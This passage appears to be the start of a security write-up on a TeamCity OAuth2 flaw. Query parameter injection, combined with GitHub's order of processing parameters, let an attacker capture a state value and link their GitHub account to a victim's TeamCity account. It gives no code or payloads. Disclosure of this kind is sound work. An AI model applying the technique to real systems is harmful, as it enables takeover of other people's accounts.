TeamCity was vulnerable to query paramater injection during OAuth2 flow, allowing an attacker to redirect user into an arbitrary GitHub OAuth2 application, intercept a valid state parameter, and connect arbitrary GitHub account to victim’s TeamCity account.

This was possible due to next things:

  • GitHub OAuth2 query parameters processing order
  • TeamCity query parameter injection

GitHub OAuth2: query parameters processing order
